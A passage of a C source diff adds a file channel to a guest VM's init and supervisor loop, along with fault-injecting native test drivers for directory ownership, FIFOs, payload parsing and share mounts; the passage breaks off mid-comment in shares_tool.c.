die(EXIT_DESCRIPTOR, 0, WMX_OK); wmx_rx_init(&rx, rx_payload, sizeof rx_payload); rx.limit[WMX_CLASS_BOOTSTRAP] = WMX_GUEST_MAX_BOOTSTRAP_DOWN; @@ -398,15 +507,23 @@ int main(int argc, char **argv) { wg_ring_init(&out_ring, out_storage, sizeof out_storage); wg_ring_init(&rt_in_ring, rt_in_storage, sizeof rt_in_storage); wg_ring_init(&ctl_out_ring, ctl_out_storage, sizeof ctl_out_storage); +#ifdef WG_FILE_CHANNEL_V1 + wg_ring_init(&file_in_ring, file_in_storage, sizeof file_in_storage); + wg_fileflow_init(&file_flow); +#endif ctl_reader_init(&ctl_reader, ctl_payload, sizeof ctl_payload, "UKHGX"); long long connect_deadline = now_ms() + PORT_CONNECT_WAIT_MS; uint8_t buffer[65536]; for (;;) { - struct pollfd fds[6]; - enum { PORT, CTL_IN, CTL_OUT, RT_IN, RT_OUT, RT_ERR }; + struct pollfd fds[DESCRIPTORS]; + enum { PORT, CTL_IN, CTL_OUT, RT_IN, RT_OUT, RT_ERR +#ifdef WG_FILE_CHANNEL_V1 + , FILE_IN, FILE_OUT +#endif + }; memset(fds, 0, sizeof fds); - for (int i = 0; i < 6; i++) fds[i].fd = -1; + for (int i = 0; i < DESCRIPTORS; i++) fds[i].fd = -1; fds[PORT].fd = port_fd; fds[PORT].events = POLLIN | ((connected_once && wg_ring_used(&out_ring)) ? POLLOUT : 0); fds[CTL_IN].fd = ctl_in_fd; fds[CTL_IN].events = POLLIN; fds[CTL_OUT].fd = ctl_out_fd; fds[CTL_OUT].events = wg_ring_used(&ctl_out_ring) ? POLLOUT : 0; @@ -414,9 +531,13 @@ int main(int argc, char **argv) { int room = wg_ring_free(&out_ring) >= RUNTIME_GATE; if (runtime_open && runtime_ready_framed && !out_end_sent && room) { fds[RT_OUT].fd = rt_out_fd; fds[RT_OUT].events = POLLIN; } if (runtime_open && runtime_ready_framed && !err_end_sent && room) { fds[RT_ERR].fd = rt_err_fd; fds[RT_ERR].events = POLLIN; } +#ifdef WG_FILE_CHANNEL_V1 + if (file_in_fd >= 0 && wg_ring_used(&file_in_ring)) { fds[FILE_IN].fd = file_in_fd; fds[FILE_IN].events = POLLOUT; } + if (runtime_open && runtime_ready_framed && file_active && !file_out_end_sent && room) { fds[FILE_OUT].fd = file_out_fd; fds[FILE_OUT].events = POLLIN; } +#endif long long wait = connected_once ? -1 : connect_deadline - now_ms(); if (!connected_once && wait <= 0) die(EXIT_NEVER_CONNECTED, 0, WMX_OK); - int ready = poll(fds, 6, connected_once ? -1 : (int)(wait > 100 ? 100 : wait)); + int ready = poll(fds, DESCRIPTORS, connected_once ? -1 : (int)(wait > 100 ? 100 : wait)); if (ready < 0) { if (errno == EINTR) continue; die(EXIT_INTERNAL, 0, WMX_OK); } short port_events = fds[PORT].revents; @@ -470,6 +591,18 @@ int main(int argc, char **argv) { } /* The end of the host's IN stream closes the supervisor's input once everything before it was written. */ if (in_ended && rt_in_fd >= 0 && !wg_ring_used(&rt_in_ring)) { close(rt_in_fd); rt_in_fd = -1; rt_in_dead = 1; } +#ifdef WG_FILE_CHANNEL_V1 + if (fds[FILE_IN].fd >= 0 && (fds[FILE_IN].revents & (POLLOUT | POLLERR | POLLHUP))) { + const uint8_t *run; + size_t n = wg_ring_peek(&file_in_ring, &run); + ssize_t written = write(file_in_fd, run, n); + if (written > 0) wg_ring_drop(&file_in_ring, (size_t)written); + else if (written < 0 && errno != EAGAIN && errno != EINTR) close_file_in(); /* the file service is gone: the host's requests are dropped, not the guest */ + } + /* The end of the host's FILE_IN closes the supervisor's side once everything before it was written. */ + if (file_in_ended && file_in_fd >= 0 && !wg_ring_used(&file_in_ring)) close_file_in(); + if (fds[FILE_OUT].fd >= 0 && (fds[FILE_OUT].revents & (POLLIN | POLLHUP))) pump_file_out(); +#endif if (fds[RT_OUT].fd >= 0 && (fds[RT_OUT].revents & (POLLIN | POLLHUP))) pump_up(rt_out_fd, WMX_STREAM_OUT, &out_end_sent); if (fds[RT_ERR].fd >= 0 && (fds[RT_ERR].revents & (POLLIN | POLLHUP))) diff --git a/apple/Cowork/WinterCoworkGuest/tests/dataroots_tool.c b/apple/Cowork/WinterCoworkGuest/tests/dataroots_tool.c new file mode 100644 index 000000000..0e15cafbd --- /dev/null +++ b/apple/Cowork/WinterCoworkGuest/tests/dataroots_tool.c @@ -0,0 +1,82 @@ +/* Drives init/dataroots.c for test_filechannel.py: `dataroots WORKSPACE GID SOURCE... [-- GID SOURCE...]` builds a set of one or two conversations and prints the result. Runs as the + * invoking user (the "root" of the directories it makes), with the real fchown. */ +#define _GNU_SOURCE +#include "../init/dataroots.h" + +#include +#include +#include +#include +#include +#include + +/* The test build renames dataroots.c's fchmod to wg_tool_fchmod (-Dfchmod=wg_tool_fchmod, which also renames the header's declaration). DATAROOTS_FCHMOD_LIE: the call reports + * success but leaves other bits than the ones asked for (a file system that ignores or filters a chmod): only a read-back of the mode from the descriptor can notice. + * "1" / "bits": a permission bit is flipped on every call; "leaf": the same, but only for a data root's own mode (02770), as a filter aimed at the setgid root would do; + * "special": the sticky bit is added to every call (a mask without the special bits misses it). */ +#undef fchmod +extern int fchmod(int fd, mode_t mode); +int wg_tool_fchmod(int fd, mode_t mode) { + const char *lie = getenv("DATAROOTS_FCHMOD_LIE"); + if (lie && (strcmp(lie, "1") == 0 || strcmp(lie, "bits") == 0)) mode ^= 0020; + else if (lie && strcmp(lie, "leaf") == 0 && mode == 02770) mode ^= 0020; + else if (lie && strcmp(lie, "special") == 0) mode |= 01000; + return fchmod(fd, mode); +} + +/* DATAROOTS_LOG: every fchown request ("uid:gid") is appended to that file. A request for an id this (non-root) user cannot give is recorded and then done as the user itself: + * the tool uid of a conversation (41001, 41002) is never the invoking user's. `stored` tells the code under test that this is what the file system will now report. DATAROOTS_REAL_IDS + * (needs root) does the real chown and no mapping. */ +static int real_chown(int fd, uid_t uid, gid_t gid, void *ctx) { + (void)ctx; + const char *log = getenv("DATAROOTS_LOG"); + if (log) { FILE *f = fopen(log, "a"); if (f) { fprintf(f, "%u:%u\n", (unsigned)uid, (unsigned)gid); fclose(f); } } + if (getenv("DATAROOTS_REAL_IDS")) return fchown(fd, uid, gid); + return fchown(fd, uid >= 41000 ? getuid() : uid, gid >= 41000 ? getgid() : gid); +} +/* DATAROOTS_STORED_UID / DATAROOTS_STORED_GID: what the code under test is told the file system will report for a tool uid / group, instead of the invoking user's own: the check of the + * result must then notice that the directory is not that. */ +static void stored_ids(uid_t *uid, gid_t *gid, void *ctx) { + (void)ctx; + const char *u = getenv("DATAROOTS_STORED_UID"), *g = getenv("DATAROOTS_STORED_GID"); + if (*uid >= 41000) *uid = u ? (uid_t)strtoul(u, NULL, 10) : getuid(); + if (*gid >= 41000) *gid = g ? (gid_t)strtoul(g, NULL, 10) : getgid(); +} +/* DATAROOTS_READDIR_FAIL: the epoch scan's read fails (EIO) before any entry; DATAROOTS_STALE_ERRNO: it reads fine but errno holds an old error (the end of a directory is no error). */ +static struct dirent *reader(DIR *directory, void *ctx) { + (void)ctx; + if (getenv("DATAROOTS_READDIR_FAIL")) { errno = EIO; return NULL; } + return readdir(directory); +} +static int noop_chown(int fd, uid_t uid, gid_t gid, void *ctx) { (void)fd; (void)uid; (void)gid; (void)ctx; return 0; } + +int main(int argc, char **argv) { + if (argc < 4 || strcmp(argv[1], "dataroots") != 0) return 2; + static struct wg_conversation_set set; + memset(&set, 0, sizeof set); + unsigned conversation = 0; + for (int i = 3; i < argc; i++) { + if (strcmp(argv[i], "--") == 0) { + if (i + 1 >= argc || conversation + 1 >= WG_CONVERSATIONS_MAX) return 2; + conversation++; + set.workspace_gid[conversation] = (uint32_t)strtoul(argv[++i], NULL, 10); + continue; + } + if (i == 3) { set.workspace_gid[0] = (uint32_t)strtoul(argv[i], NULL, 10); continue; } + if (set.root_count[conversation] >= WG_ROOTS_MAX || strlen(argv[i]) > WG_ROOT_SOURCE_MAX) return 2; + strcpy(set.root_source[conversation][set.root_count[conversation]++], argv[i]); + } + set.count = conversation + 1; + /* The conversations are named conv-0001, conv-0002 (the plan view of a conversation is under its own id). */ + for (unsigned i = 0; i < set.count; i++) { snprintf(set.session_id[i], sizeof set.session_id[i], "conv-%04u", i + 1); set.tool_uid[i] = 41001u + i; } + /* DATAROOTS_PARENT_OWNER makes the directories above a root look foreign (a non-root test cannot chown them to someone else). */ + const char *foreign = getenv("DATAROOTS_PARENT_OWNER"); + /* DATAROOTS_OWNER / DATAROOTS_NOOP_CHOWN: the root the directories should belong to, and a chown that reports success and changes nothing (the check of the result is then + * the only thing that can notice). */ + const char *wanted = getenv("DATAROOTS_OWNER"); + struct wg_dataroots_ops ops = { NULL, getenv("DATAROOTS_NOOP_CHOWN") ? noop_chown : real_chown, wanted ? (uid_t)strtoul(wanted, NULL, 10) : getuid(), foreign ? (uid_t)strtoul(foreign, NULL, 10) : getuid(), getenv("DATAROOTS_REAL_IDS") ? NULL : stored_ids, reader, getgid() }; + if (getenv("DATAROOTS_STALE_ERRNO")) errno = EACCES; + /* DATAROOTS_PLAN_ONLY: wg_make_plan_views (a workspace without a browse uid) instead of every root. */ + printf("%d\n", getenv("DATAROOTS_PLAN_ONLY") ? wg_make_plan_views(argv[2], &set, &ops) : wg_make_data_roots(argv[2], &set, &ops)); + return 0; +} diff --git a/apple/Cowork/WinterCoworkGuest/tests/linux_init_tool.c b/apple/Cowork/WinterCoworkGuest/tests/linux_init_tool.c index 34a5f6dd3..dc24abfa3 100644 --- a/apple/Cowork/WinterCoworkGuest/tests/linux_init_tool.c +++ b/apple/Cowork/WinterCoworkGuest/tests/linux_init_tool.c @@ -35,6 +35,34 @@ static int fsync_log(int fd) { } static int fsync_fail(int fd) { (void)fd; fsync_calls++; return -1; } +#ifdef WG_FILE_CHANNEL_V1 +/* A non-root test cannot give the plan view to the conversation's tool uid (41001): it asks for it, and `stored` says what the file system will report. */ +static int own_chown(int fd, uid_t uid, gid_t gid, void *ctx) { (void)ctx; return fchown(fd, uid >= 41000 ? getuid() : uid, gid >= 41000 ? getgid() : gid); } +static void own_stored(uid_t *uid, gid_t *gid, void *ctx) { (void)ctx; if (*uid >= 41000) *uid = getuid(); if (*gid >= 41000) *gid = getgid(); } + +/* The real mount(2), counted: a test can then tell a step that refused before mounting from one whose mounts were rolled back. */ +static int mount_calls; +static int counting_mount(void *ctx, const char *source, const char *target, const char *fstype, unsigned long flags, const char *data) { + mount_calls++; + return mop_mount(ctx, source, target, fstype, flags, data); +} + +/* KIND:RO:TAG:PATH arguments (KIND folder|guidance|memory|outputs) into a share set. */ +static int share_set(int argc, char **argv, int first, struct wg_share_set *set) { + memset(set, 0, sizeof *set); + for (int i = first; i < argc && set->count < WG_SHARES_MAX; i++) { + struct wg_share *share = &set->item[set->count++]; + char kind[16]; + int ro = 0, used = 0; + if (sscanf(argv[i], "%15[a-z]:%d:%32[a-z0-9-]:%n", kind, &ro, share->tag, &used) != 3 || used == 0) return -1; + snprintf(share->guest_path, sizeof share->guest_path, "%s", argv[i] + used); + share->read_only = ro; + share->kind = strcmp(kind, "folder") == 0 ? WG_SHARE_FOLDER : strcmp(kind, "guidance") == 0 ? WG_SHARE_GUIDANCE : strcmp(kind, "memory") == 0 ? WG_SHARE_MEMORY : WG_SHARE_OUTPUTS; + } + return set->count ? 0 : -1; +} +#endif + static int open_descriptors(void) { int count = 0; for (int fd = 0; fd < 256; fd++) count += fcntl(fd, F_GETFD) != -1; @@ -61,7 +89,7 @@ int main(int argc, char **argv) { printf("\n"); return 0; } - if (argc == 3 && strcmp(argv[1], "startsup") == 0) { /* WITH_PORTS: PYTHON_PATH and TRUSTED_DIR are test paths (-D) and PYTHON_PATH is the fake supervisor */ + if (argc >= 3 && strcmp(argv[1], "startsup") == 0) { /* WITH_PORTS: PYTHON_PATH and TRUSTED_DIR are test paths (-D) and PYTHON_PATH is the fake supervisor */ /* PID 1's own state: umask 077 and its signals blocked (it reads them from a signalfd); the child must not inherit either. */ umask(077); sigset_t blocked; @@ -73,6 +101,18 @@ int main(int argc, char **argv) { if (pipe2(in, O_CLOEXEC) || pipe2(out, O_CLOEXEC) || pipe2(err, O_CLOEXEC)) abort(); G.rt_in_r = in[0]; G.rt_out_w = out[1]; G.rt_err_w = err[1]; int old[3] = { in[0], out[1], err[1] }; +#ifdef WG_FILE_CHANNEL_V1 + /* the file channel's two FIFOs, made as PID 1 makes them; the test keeps the relay's ends (file_in[1] writes FILE_IN, file_out[0] reads FILE_OUT) */ + int file_in[2], file_out[2]; + if (make_file_pipe(file_in) != 0 || make_file_pipe(file_out) != 0) abort(); + G.file_in_r = file_in[0]; G.file_out_w = file_out[1]; + if (argc > 3 && strcmp(argv[3], "blocking") == 0) { /* a supervisor end that is not what the file service demands: a plain, blocking pipe */ + int plain[2]; + if (pipe2(plain, O_CLOEXEC) != 0) abort(); + G.file_in_r = plain[0]; + } + int file_old[2] = { file_in[0], file_out[1] }; +#endif static const char config[] = "{\"guestBootId\":\"x\"}"; int before = open_descriptors(); int rc = op_start_supervisor(NULL, config, sizeof config - 1, atoi(argv[2])); @@ -96,6 +136,15 @@ int main(int argc, char **argv) { int closed = 1; for (int i = 0; i < 3; i++) closed &= fcntl(old[i], F_GETFD) == -1 && errno == EBADF; printf("parent:in=%d out=%d err=%d closed=%d added=%d\n", G.rt_in_r, G.rt_out_w, G.rt_err_w, closed, added); +#ifdef WG_FILE_CHANNEL_V1 + int file_closed = 1; + for (int i = 0; i < 2; i++) file_closed &= fcntl(file_old[i], F_GETFD) == -1 && errno == EBADF; + printf("parentfile:in=%d out=%d closed=%d\n", G.file_in_r, G.file_out_w, file_closed); + char file_byte; + fcntl(file_out[0], F_SETFL, O_NONBLOCK); + ssize_t file_read = read(file_out[0], &file_byte, 1), file_write = write(file_in[1], "x", 1); + printf("fileeof:out=%d in_reader_gone=%d\n", file_read == 0, file_write < 0 && errno == EPIPE); +#endif /* No copy of the supervisor's pipe ends is left anywhere: its stdout/stderr FIFOs read end-of-file, and the input FIFO has no reader. */ char byte; fcntl(out[0], F_SETFL, O_NONBLOCK); fcntl(err[0], F_SETFL, O_NONBLOCK); @@ -104,6 +153,150 @@ int main(int argc, char **argv) { printf("eof:out=%d err=%d input_reader_gone=%d\n", r1 == 0, r2 == 0, w < 0 && errno == EPIPE); return 0; } +#ifdef WG_FILE_CHANNEL_V1 + if (argc == 2 && strcmp(argv[1], "fifos") == 0) { /* the four ends of the two FIFOs, as PID 1 makes them */ + int a[2], b[2]; + if (make_file_pipe(a) != 0 || make_file_pipe(b) != 0) { printf("fail\n"); return 0; } + int ends[4] = { a[0], a[1], b[0], b[1] }; + for (int i = 0; i < 4; i++) { + struct stat st; + fstat(ends[i], &st); + printf("end:%d fifo=%d owner=%d nlink=%lu nonblock=%d cloexec=%d access=%d\n", i, S_ISFIFO(st.st_mode), st.st_uid == geteuid(), (unsigned long)st.st_nlink, + (fcntl(ends[i], F_GETFL) & O_NONBLOCK) != 0, (fcntl(ends[i], F_GETFD) & FD_CLOEXEC) != 0, fcntl(ends[i], F_GETFL) & O_ACCMODE); + } + return 0; + } + if (argc == 4 && strcmp(argv[1], "fifook") == 0) { /* PATH OPEN_FLAGS: would the supervisor's file service accept this descriptor */ + int fd = open(argv[2], atoi(argv[3])); + printf("%d\n", fd < 0 ? -1 : fifo_end_ok(fd)); + return 0; + } + if (argc == 3 && strcmp(argv[1], "hardlinks") == 0) { /* PATH */ + printf("rc=%d\n", set_protected_hardlinks(argv[2])); + return 0; + } + if (argc == 2 && strcmp(argv[1], "datadev") == 0) { /* WG_WORKSPACE_PATH is a test path (-D) */ + uint64_t device = 0; + int rc = op_read_data_device(NULL, &device); + printf("rc=%d device=%llu\n", rc, (unsigned long long)device); + return 0; + } + if (argc >= 5 && strcmp(argv[1], "roots") == 0) { /* BROWSE_UID GID SOURCE...: op_prepare_conversation_dirs for one conversation, as the invoking user */ + static struct wg_conversation_set set; + memset(&set, 0, sizeof set); + set.count = 1; + set.browse_uid = (uint32_t)strtoul(argv[2], NULL, 10); + set.workspace_gid[0] = (uint32_t)strtoul(argv[3], NULL, 10); + set.runtime_uid[0] = (uint32_t)getuid(); + set.tool_uid[0] = 41001u; + snprintf(set.session_id[0], sizeof set.session_id[0], "s1"); + for (int i = 4; i < argc && set.root_count[0] < WG_ROOTS_MAX; i++) snprintf(set.root_source[0][set.root_count[0]++], WG_ROOT_SOURCE_MAX + 1, "%s", argv[i]); + sys_calls.fchown_fn = chown_log; /* the per-conversation directories: a non-root test cannot chown to another uid */ + static const struct wg_dataroots_ops own = { NULL, own_chown, 0, 0, own_stored, NULL, 0 }; + struct wg_dataroots_ops mine = own; + mine.owner = mine.parent_owner = getuid(); + mine.owner_group = getgid(); + static struct wg_dataroots_ops installed; + installed = mine; + dataroots_ops = &installed; + printf("rc=%d\n", op_prepare_conversation_dirs(NULL, &set)); + return 0; + } + if (argc >= 3 && strcmp(argv[1], "shares") == 0) { /* SHARE...: op_mount_shares with SHARES_ROOT, SHARES_SYS_ROOT and SHARES_OWNER test values (-D), the real mount(2) */ + static struct wg_share_set set; + if (share_set(argc, argv, 2, &set) != 0) return 2; + unsigned mounted = 99; + errno = 0; + int rc = op_mount_shares(NULL, &set, &mounted); + int saved = errno; /* what the refused mount(2) said: nothing after it touches errno when nothing was mounted */ + printf("rc=%d mounted=%u errno=%d\n", rc, mounted, saved); + return 0; + } + if (argc == 2 && strcmp(argv[1], "alias") == 0) { /* wg_share_guidance_alias below SHARES_ROOT, as SHARES_OWNER */ + printf("rc=%d\n", wg_share_guidance_alias(SHARES_ROOT, (uid_t)SHARES_OWNER)); + return 0; + } + if (argc == 3 && strcmp(argv[1], "umountshare") == 0) { /* GUEST_PATH below SHARES_ROOT */ + printf("rc=%d\n", op_umount_share(NULL, argv[2])); + return 0; + } + if (argc == 3 && strcmp(argv[1], "mountinfo") == 0) { /* WHERE: this process's real mount table, read and parsed as PID 1 does */ + static char table[WG_MOUNTINFO_MAX]; + long length = sop_read_mountinfo(NULL, table, sizeof table); + struct wg_mountinfo_entry entry; + memset(&entry, 0, sizeof entry); + int count = length < 0 ? -2 : wg_mountinfo_find(table, (size_t)length, argv[2], &entry); + printf("count=%d\n", count); + if (count > 0) printf("root=%s\nmount_point=%s\noptions=%s\nfstype=%s\nsource=%s\nsuper=%s\n", entry.root, entry.mount_point, entry.options, entry.fstype, entry.source, entry.super_options); + return 0; + } + if (argc >= 5 && strcmp(argv[1], "realstep") == 0) { /* FSTYPE DATA SHARE...: the whole share step for real (root, in a private mount namespace), then every share unmounted */ + static struct wg_share_set set; + if (share_set(argc, argv, 4, &set) != 0) return 2; + const struct wg_share_ops ops = { NULL, SHARES_ROOT, SHARES_SYS_ROOT, counting_mount, sop_umount, sop_read_mountinfo, (uid_t)SHARES_OWNER }; + unsigned mounted = 99; + int rc = wg_mount_shares_as(&ops, &set, &mounted, argv[2], argv[3]); + printf("rc=%d mounted=%u mounts=%d\n", rc, mounted, mount_calls); /* mount_calls: how many mount(2) calls the step made at all */ + static char table[WG_MOUNTINFO_MAX]; + for (unsigned i = 0; i < set.count; i++) { + char where[WG_SHARE_PATH_MAX + 4096]; + snprintf(where, sizeof where, "%s%s", SHARES_ROOT, set.item[i].guest_path); + long length = sop_read_mountinfo(NULL, table, sizeof table); + struct wg_mountinfo_entry entry; + memset(&entry, 0, sizeof entry); + int count = length < 0 ? -2 : wg_mountinfo_find(table, (size_t)length, where, &entry); + printf("share=%s count=%d options=%s fstype=%s source=%s super=%s\n", set.item[i].tag, count, entry.options, entry.fstype, entry.source, entry.super_options); + } + char alias[WG_SHARE_PATH_MAX + 4096], text[128]; + snprintf(alias, sizeof alias, "%s%s/%s", SHARES_ROOT, WG_SHARE_GUIDANCE_ALIAS_DIRECTORY, WG_SHARE_GUIDANCE_ALIAS_NAME); + ssize_t n = readlink(alias, text, sizeof text - 1); + printf("alias=%.*s\n", n < 0 ? 0 : (int)n, text); + for (unsigned i = set.count; i-- > 0;) if (mounted & (1u << i)) printf("umount=%s:%d\n", set.item[i].tag, op_umount_share(NULL, set.item[i].guest_path)); + long length = sop_read_mountinfo(NULL, table, sizeof table); + int left = 0; + for (unsigned i = 0; i < set.count; i++) { + char where[WG_SHARE_PATH_MAX + 4096]; + snprintf(where, sizeof where, "%s%s", SHARES_ROOT, set.item[i].guest_path); + left += length < 0 ? 1 : wg_mountinfo_find(table, (size_t)length, where, NULL); + } + printf("left=%d\n", left); + return 0; + } + if (argc == 10 && strcmp(argv[1], "realcheck") == 0) { /* FSTYPE SOURCE DATA SHARE CHECK_FSTYPE CHECK_SOURCE CHECK_DATA CHECK_SHARE (root, private mount namespace) */ + static struct wg_share_set mounted_set, checked_set; + char *mount_argv[] = { argv[0], argv[5] }, *check_argv[] = { argv[0], argv[9] }; + if (share_set(2, mount_argv, 1, &mounted_set) != 0 || share_set(2, check_argv, 1, &checked_set) != 0) return 2; + const struct wg_share *share = &mounted_set.item[0]; + char where[WG_SHARE_PATH_MAX + 4096], target[64]; + snprintf(where, sizeof where, "%s%s", SHARES_ROOT, share->guest_path); + int fd = open(where, O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC); /* through the descriptor, as the step mounts */ + if (fd < 0) { printf("open-failed\n"); return 0; } + snprintf(target, sizeof target, "/proc/self/fd/%d", fd); + if (mop_mount(NULL, argv[3], target, argv[2], wg_share_mount_flags(share), argv[4]) != 0) { printf("mount-failed errno=%d\n", errno); close(fd); return 0; } + close(fd); + static char table[WG_MOUNTINFO_MAX]; + long length = sop_read_mountinfo(NULL, table, sizeof table); + struct wg_mountinfo_entry entry; + memset(&entry, 0, sizeof entry); + int count = length < 0 ? -2 : wg_mountinfo_find(table, (size_t)length, where, &entry); + int ok = length < 0 ? -2 : wg_mountinfo_entry_ok(table, (size_t)length, where, &checked_set.item[0], argv[6], argv[7], argv[8]); + printf("count=%d check=%d\noptions=%s\nfstype=%s\nsource=%s\nsuper=%s\n", count, ok, entry.options, entry.fstype, entry.source, entry.super_options); + printf("umount=%d\n", umount2(where, 0)); + return 0; + } + if (argc == 3 && strcmp(argv[1], "realmount") == 0) { /* TARGET: inside a user and mount namespace, a real tmpfs mount with a share's flags, then its own table */ + if (mount("winter-probe", argv[2], "tmpfs", MS_NOSUID | MS_NODEV | MS_NOEXEC | MS_RDONLY, "size=1m") != 0) { printf("mount-failed\n"); return 0; } + static char table[WG_MOUNTINFO_MAX]; + long length = sop_read_mountinfo(NULL, table, sizeof table); + struct wg_mountinfo_entry entry; + memset(&entry, 0, sizeof entry); + int count = length < 0 ? -2 : wg_mountinfo_find(table, (size_t)length, argv[2], &entry); + printf("count=%d\n", count); + if (count > 0) printf("root=%s\nmount_point=%s\noptions=%s\nfstype=%s\nsource=%s\nsuper=%s\n", entry.root, entry.mount_point, entry.options, entry.fstype, entry.source, entry.super_options); + printf("umount=%d\n", umount2(argv[2], 0)); + return 0; + } +#endif fprintf(stderr, "usage\n"); return 2; } diff --git a/apple/Cowork/WinterCoworkGuest/tests/native_tool.c b/apple/Cowork/WinterCoworkGuest/tests/native_tool.c index 8e85ae2d4..e6952ab3c 100644 --- a/apple/Cowork/WinterCoworkGuest/tests/native_tool.c +++ b/apple/Cowork/WinterCoworkGuest/tests/native_tool.c @@ -241,6 +241,29 @@ static int cmd_frame(int argc, char **argv) { return 0; } +#ifdef WG_FILE_CHANNEL_V1 +#include "../common/fileflow.h" +/* fileflow: stdin lines "STREAM BYTES NEWLINES" (stream file_in or file_out; the last NEWLINES bytes of a step are line ends, the rest are 'x'). + * Prints one line per step: ok, or the first refusal's status name (and stops). */ +static int cmd_fileflow(void) { + struct wg_fileflow flow; + wg_fileflow_init(&flow); + char line[128]; + static uint8_t bytes[1u << 20]; + while (fgets(line, sizeof line, stdin)) { + char stream[16]; + unsigned long count, newlines; + if (sscanf(line, "%15s %lu %lu", stream, &count, &newlines) != 3 || count > sizeof bytes || newlines > count) return 2; + memset(bytes, 'x', count); + memset(bytes + (count - newlines), '\n', newlines); + enum wmx_status status = strcmp(stream, "file_in") == 0 ? wg_fileflow_request(&flow, bytes, count) : wg_fileflow_response(&flow, bytes, count); + printf("%s\n", wmx_status_name(status)); + if (status != WMX_OK) return 0; + } + return 0; +} +#endif + int main(int argc, char **argv) { if (argc < 2) return 2; if (strcmp(argv[1], "frame") == 0) return cmd_frame(argc, argv); @@ -249,5 +272,8 @@ int main(int argc, char **argv) { if (strcmp(argv[1], "stream") == 0) return cmd_stream(argc, argv); if (strcmp(argv[1], "encode") == 0) return cmd_encode(argc, argv); if (strcmp(argv[1], "ctl") == 0) return cmd_ctl(argc, argv); +#ifdef WG_FILE_CHANNEL_V1 + if (strcmp(argv[1], "fileflow") == 0) return cmd_fileflow(); +#endif return 2; } diff --git a/apple/Cowork/WinterCoworkGuest/tests/payload_tool.c b/apple/Cowork/WinterCoworkGuest/tests/payload_tool.c new file mode 100644 index 000000000..1659ebb4b --- /dev/null +++ b/apple/Cowork/WinterCoworkGuest/tests/payload_tool.c @@ -0,0 +1,25 @@ +/* Reads one extended 'C' payload (hex on argv) with the gated wg_parse_conversation_payload and prints what PID 1 would act on, for test_filechannel.py: + * `browse|gid0|root0;root1;...|items` or `refused`. */ +#define _GNU_SOURCE +#include "../init/boot.h" + +#include +#include +#include + +int main(int argc, char **argv) { + if (argc != 2) return 2; + size_t length = strlen(argv[1]) / 2; + uint8_t *bytes = malloc(length + 1); + for (size_t i = 0; i < length; i++) { unsigned v; sscanf(argv[1] + 2 * i, "%2x", &v); bytes[i] = (uint8_t)v; } + static struct wg_conversation_set set; + if (wg_parse_conversation_payload(bytes, length, &set) != 0) { printf("refused\n"); return 0; } + printf("%u|%u|%u|", set.profile, set.browse_uid, set.count); + for (unsigned i = 0; i < set.count; i++) { + printf("%s%s:%u:%u:%u:", i ? ";" : "", set.session_id[i], set.runtime_uid[i], set.tool_uid[i], set.workspace_gid[i]); + for (unsigned r = 0; r < set.root_count[i]; r++) printf("%s%s", r ? "," : "", set.root_source[i][r]); + } + printf("|%.*s\n", (int)set.json_length, set.json); + free(bytes); + return 0; +} diff --git a/apple/Cowork/WinterCoworkGuest/tests/shares_tool.c b/apple/Cowork/WinterCoworkGuest/tests/shares_tool.c new file mode 100644 index 000000000..19d11ed30 --- /dev/null +++ b/apple/Cowork/WinterCoworkGuest/tests/shares_tool.c @@ -0,0 +1,196 @@ +/* + * Native driver of the share step (init/shares.c) and of PID 1's share payload parser (init/boot.c), for test_shares.py. Built with WG_FILE_CHANNEL_V1; never part of + * the guest image. A share on the command line is KIND:RO:TAG:PATH (KIND folder|guidance|memory|outputs, RO 0|1). Every effect of the step goes through recording + * operations: nothing is mounted, and the directories it makes are made in the temporary tree the test names, as the invoking user. + * + * flags SHARE the mount flags of one share + * parse HEX wg_parse_share_payload: `refused`, or `count` then one `kind:ro:tag:path` line per share + * inventory SYS SHARE... wg_share_inventory: rc + * find MOUNTINFO WHERE wg_mountinfo_find on a file: count, then the fields of the entry + * check MOUNTINFO WHERE SHARE wg_share_mountinfo_ok: rc + * checkas MOUNTINFO WHERE SHARE FS SRC DATA wg_mountinfo_entry_ok: rc + * point ROOT SHARE wg_share_mount_point as the invoking user: rc + * alias ROOT wg_share_guidance_alias as the invoking user: rc + * step ROOT SYS MOUNTINFO FAIL SHARE... wg_mount_shares; FAIL is `-`, `mount:N` (the Nth mount fails), `umount` (every unmount fails) or `mountinfo` (it cannot be + * read). MOUNTINFO is read as the table after the mounts, with @ROOT@ replaced by ROOT. Prints every effect (a + * mount with the inode of the directory its /proc/self/fd/ target holds), then rc and the mask. + */ +#define _GNU_SOURCE +#include "../init/boot.h" +#include "../init/mounts.h" +#include "../init/shares.h" + +#include +#include +#include +#include +#include +#include + +/* Who the walk treats as PID 1: the invoking user, or SHARES_OWNER (a test reaches the owner check as an ordinary user that way). */ +static uid_t owner(void) { + const char *value = getenv("SHARES_OWNER"); + return value ? (uid_t)strtoul(value, NULL, 10) : getuid(); +} + +static int parse_share(const char *text, struct wg_share *share) { + char kind[16]; + int ro = 0, used = 0; + memset(share, 0, sizeof *share); + if (sscanf(text, "%15[a-z]:%d:%32[a-z0-9-]:%n", kind, &ro, share->tag, &used) != 3 || used == 0) return -1; + snprintf(share->guest_path, sizeof share->guest_path, "%s", text + used); + share->read_only = ro; + if (strcmp(kind, "folder") == 0) share->kind = WG_SHARE_FOLDER; + else if (strcmp(kind, "guidance") == 0) share->kind = WG_SHARE_GUIDANCE; + else if (strcmp(kind, "memory") == 0) share->kind = WG_SHARE_MEMORY; + else if (strcmp(kind, "outputs") == 0) share->kind = WG_SHARE_OUTPUTS; + else return -1; + return 0; +} +static void set_of(int argc, char **argv, int first, struct wg_share_set *set) { + memset(set, 0, sizeof *set); + for (int i = first; i < argc && set->count < WG_SHARES_MAX; i++) + if (parse_share(argv[i], &set->item[set->count++]) != 0) { fprintf(stderr, "bad share %s\n", argv[i]); exit(2); } +} + +static char *slurp(const char *path, size_t *length) { + FILE *f = fopen(path, "rb"); + if (!f) return NULL; + static char buffer[1 << 17]; + *length = fread(buffer, 1, sizeof buffer, f); + fclose(f); + return buffer; +} + +/* ------------------------------------------------------------------------------------------------ the recording operations of `step` */ + +struct record { + const char *root, *mountinfo; + int fail_mount, fail_umount, fail_mountinfo, mounts; +}; +static int r_mount(void *c, const char *source, const char *target, const char *fstype, unsigned long flags, const char *data) { + struct record *r = c; + r->mounts++; + /* a target of the form /proc/self/fd/ is a descriptor of this process: report the directory it holds, so the test can see which one was mounted on */ + int fd = -1; + char extra = 0; + struct stat st; + unsigned long long inode = 0; + /* SHARES_SWAP=PATH: before the first mount, the directory at PATH is 